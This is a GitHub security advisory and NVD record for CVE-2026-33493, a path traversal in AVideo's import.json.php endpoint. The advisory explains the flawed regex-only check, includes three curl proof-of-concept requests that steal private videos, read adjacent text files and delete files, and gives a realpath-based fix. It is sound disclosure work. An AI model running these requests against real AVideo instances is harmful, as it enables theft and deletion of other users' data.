{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "26.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33493"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-20T20:49:36Z",
    "nvd_published_at": "2026-03-23T16:16:49Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe `objects/import.json.php` endpoint accepts a user-controlled `fileURI` POST parameter with only a regex check that the value ends in `.mp4`. Unlike `objects/listFiles.json.php`, which was hardened with a `realpath()` + directory prefix check to restrict paths to the `videos/` directory, `import.json.php` performs no directory restriction. This allows an authenticated user with upload permission to: (1) steal any other user\u0027s private video files by importing them into their own account, (2) read `.txt`/`.html`/`.htm` files adjacent to any `.mp4` file on the filesystem, and (3) delete `.mp4` and adjacent text files if writable by the web server process.\n\n## Details\n\n### Missing path restriction in import.json.php\n\nAt `objects/import.json.php:12`, the only validation on the user-supplied `fileURI` is a regex ensuring it ends with `.mp4`:\n\n```php\n// objects/import.json.php:12\nif (!preg_match(\"/.*\\\\.mp4$/i\", $_POST[\u0027fileURI\u0027])) {\n    return false;\n}\n```\n\nCompare this to the hardened `listFiles.json.php:16-28`, which was patched to restrict paths:\n\n```php\n// objects/listFiles.json.php:16-28\n$allowedBase = realpath($global[\u0027systemRootPath\u0027] . \u0027videos\u0027);\n// ...\n$resolvedPath = realpath($_POST[\u0027path\u0027]);\nif ($resolvedPath === false || strpos($resolvedPath . \u0027/\u0027, $allowedBase) !== 0) {\n    http_response_code(403);\n    echo json_encode([\u0027error\u0027 =\u003e \u0027Path not allowed\u0027]);\n    exit;\n}\n```\n\nThe same fix was never applied to `import.json.php`.\n\n### Attack Primitive 1: File content disclosure (.txt/.html/.htm)\n\nAt lines 23-43, the endpoint strips the `.mp4` extension from `fileURI` and attempts to read adjacent `.txt`, `.html`, or `.htm` files via `file_get_contents()`:\n\n```php\n// objects/import.json.php:23-43\n$filename = $obj-\u003efileURI[\u0027dirname\u0027] . DIRECTORY_SEPARATOR . $obj-\u003efileURI[\u0027filename\u0027];\n$extensions = [\u0027txt\u0027, \u0027html\u0027, \u0027htm\u0027];\nforeach ($extensions as $value) {\n    if (file_exists(\"{$filename}.{$value}\")) {\n        $html = file_get_contents(\"{$filename}.{$value}\");\n        $_POST[\u0027description\u0027] = $html;\n        // ...\n        break;\n    }\n}\n```\n\nThe content flows into `$_POST[\u0027description\u0027]`, which is then saved as the video description by `upload.php:59-64`:\n\n```php\n// view/mini-upload-form/upload.php:59-64\nif (!empty($_POST[\u0027description\u0027])) {\n    // ...\n    $video-\u003esetDescription($_POST[\u0027description\u0027]);\n}\n```\n\nThe attacker then views the imported video to read the file contents in the description field. This works for any path where both a `.mp4` file and an adjacent `.txt`/`.html`/`.htm` file exist \u2014 which is the standard layout for every video in the `videos/` directory.\n\n### Attack Primitive 2: Private video theft\n\nAt line 49, the endpoint copies the `.mp4` file to a temp directory and then imports it as the current user\u0027s video:\n\n```php\n// objects/import.json.php:47-49\n$source = $obj-\u003efileURI[\u0027dirname\u0027] . DIRECTORY_SEPARATOR . $obj-\u003efileURI[\u0027basename\u0027];\nif (!copy($source, $tmpFileName)) {\n    // ...\n}\n```\n\nAn attacker who knows or can enumerate another user\u0027s video filename can copy any private `.mp4` file into their own account.\n\n### Attack Primitive 3: File deletion\n\nAt lines 54-65, when `$_POST[\u0027delete\u0027]` is set, the endpoint deletes the source `.mp4` and adjacent text files:\n\n```php\n// objects/import.json.php:54-61\nif (!empty($_POST[\u0027delete\u0027]) \u0026\u0026 $_POST[\u0027delete\u0027] !== \u0027false\u0027) {\n    if (is_writable($source)) {\n        unlink($source);\n        foreach ($extensions as $value) {\n            if (file_exists(\"{$filename}.{$value}\")) {\n                unlink(\"{$filename}.{$value}\");\n            }\n        }\n    }\n}\n```\n\n## PoC\n\n### Step 1: Steal a private video\n\nAssuming the attacker knows another user\u0027s video filename (e.g., `victim_video_abc123`), which can be enumerated via the platform UI or API:\n\n```bash\ncurl -b \u0027PHPSESSID=\u003cauthenticated_session_with_upload_perm\u003e\u0027 \\\n  -X POST \u0027https://target/objects/import.json.php\u0027 \\\n  -d \u0027fileURI=/var/www/html/AVideo/videos/victim_video_abc123/victim_video_abc123.mp4\u0027\n```\n\n**Expected result:** The response returns `{\"error\":false, \"videos_id\": \u003cnew_id\u003e, ...}`. The victim\u0027s private `.mp4` is now imported as the attacker\u0027s own video at the returned `videos_id`.\n\n### Step 2: Read another user\u0027s video description file\n\n```bash\ncurl -b \u0027PHPSESSID=\u003cauthenticated_session_with_upload_perm\u003e\u0027 \\\n  -X POST \u0027https://target/objects/import.json.php\u0027 \\\n  -d \u0027fileURI=/var/www/html/AVideo/videos/victim_video_abc123/victim_video_abc123.mp4\u0026length=100\u0027\n```\n\n**Expected result:** If `victim_video_abc123.txt` (or `.html`/`.htm`) exists alongside the `.mp4`, its contents are stored as the description of the newly created video. The attacker views the video page to read the exfiltrated content.\n\n### Step 3: Delete another user\u0027s video\n\n```bash\ncurl -b \u0027PHPSESSID=\u003cauthenticated_session_with_upload_perm\u003e\u0027 \\\n  -X POST \u0027https://target/objects/import.json.php\u0027 \\\n  -d \u0027fileURI=/var/www/html/AVideo/videos/victim_video_abc123/victim_video_abc123.mp4\u0026delete=true\u0027\n```\n\n**Expected result:** The victim\u0027s `.mp4` file and any adjacent `.txt`/`.html`/`.htm` files are deleted (if writable by the web server process).\n\n## Impact\n\n- **Private video theft**: Any authenticated user with upload permission can import another user\u0027s private videos into their own account, bypassing all access controls. This directly compromises video content confidentiality.\n- **File content disclosure**: `.txt`, `.html`, and `.htm` files adjacent to any `.mp4` on the filesystem can be read by the attacker. Within the AVideo `videos/` directory, these are video description files that may contain private information.\n- **File deletion**: An attacker can delete other users\u0027 video files and metadata, causing data loss.\n- **Blast radius**: All private videos on the instance are accessible to any user with upload permission. In default AVideo configurations, registered users can upload.\n\n## Recommended Fix\n\nApply the same `realpath()` + directory prefix check from `listFiles.json.php` to `import.json.php`, immediately after the `.mp4` regex check:\n\n```php\n// objects/import.json.php \u2014 add after line 14 (the preg_match check)\n$allowedBase = realpath($global[\u0027systemRootPath\u0027] . \u0027videos\u0027);\nif ($allowedBase === false) {\n    die(json_encode([\u0027error\u0027 =\u003e \u0027Configuration error\u0027]));\n}\n$allowedBase .= \u0027/\u0027;\n\n$resolvedDir = realpath(dirname($_POST[\u0027fileURI\u0027]));\nif ($resolvedDir === false || strpos($resolvedDir . \u0027/\u0027, $allowedBase) !== 0) {\n    http_response_code(403);\n    die(json_encode([\u0027error\u0027 =\u003e \u0027Path not allowed\u0027]));\n}\n// Reconstruct fileURI from resolved path to prevent symlink bypass\n$_POST[\u0027fileURI\u0027] = $resolvedDir . \u0027/\u0027 . basename($_POST[\u0027fileURI\u0027]);\n```",
  "id": "GHSA-83xq-8jxj-4rxm",
  "modified": "2026-03-25T20:31:17Z",
  "published": "2026-03-20T20:49:36Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-83xq-8jxj-4rxm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33493"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/e110ff542acdd7e3b81bdd02b8402b9f6a61ad78"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AVideo has a Path Traversal in import.json.php Allows Private Video Theft and Arbitrary File Read/Deletion via fileURI Parameter"
}

{
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:wwbn:avideo:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "774C24F1-9D26-484F-B931-1DA107C8F588",
              "versionEndIncluding": "26.0",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "WWBN AVideo is an open source video platform. In versions up to and including 26.0, the `objects/import.json.php` endpoint accepts a user-controlled `fileURI` POST parameter with only a regex check that the value ends in `.mp4`. Unlike `objects/listFiles.json.php`, which was hardened with a `realpath()` + directory prefix check to restrict paths to the `videos/` directory, `import.json.php` performs no directory restriction. This allows an authenticated user with upload permission to: (1) steal any other user\u0027s private video files by importing them into their own account, (2) read `.txt`/`.html`/`.htm` files adjacent to any `.mp4` file on the filesystem, and (3) delete `.mp4` and adjacent text files if writable by the web server process. Commit e110ff542acdd7e3b81bdd02b8402b9f6a61ad78 contains a patch."
    },
    {
      "lang": "es",
      "value": "WWBN AVideo es una plataforma de video de c\u00f3digo abierto. En versiones hasta la 26.0 inclusive, el endpoint \u0027objects/import.json.php\u0027 acepta un par\u00e1metro POST \u0027fileURI\u0027 controlado por el usuario con solo una verificaci\u00f3n de expresi\u00f3n regular de que el valor termina en \u0027.mp4\u0027. A diferencia de \u0027objects/listFiles.json.php\u0027, que fue reforzado con una verificaci\u00f3n de prefijo de directorio + \u0027realpath()\u0027 para restringir las rutas al directorio \u0027videos/\u0027, \u0027import.json.php\u0027 no realiza ninguna restricci\u00f3n de directorio. Esto permite a un usuario autenticado con permiso de carga: (1) robar los archivos de video privados de cualquier otro usuario import\u00e1ndolos a su propia cuenta, (2) leer archivos \u0027.txt\u0027 / \u0027.html\u0027 / \u0027.htm\u0027 adyacentes a cualquier archivo \u0027.mp4\u0027 en el sistema de archivos, y (3) eliminar archivos \u0027.mp4\u0027 y archivos de texto adyacentes si son escribibles por el proceso del servidor web. El commit e110ff542acdd7e3b81bdd02b8402b9f6a61ad78 contiene un parche."
    }
  ],
  "id": "CVE-2026-33493",
  "lastModified": "2026-03-24T18:17:24.070",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 7.1,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "LOW",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 4.2,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      },
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 8.1,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 5.2,
        "source": "nvd@nist.gov",
        "type": "Primary"
      }
    ]
  },
  "published": "2026-03-23T16:16:49.433",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/WWBN/AVideo/commit/e110ff542acdd7e3b81bdd02b8402b9f6a61ad78"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Mitigation",
        "Vendor Advisory"
      ],
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-83xq-8jxj-4rxm"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-22"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}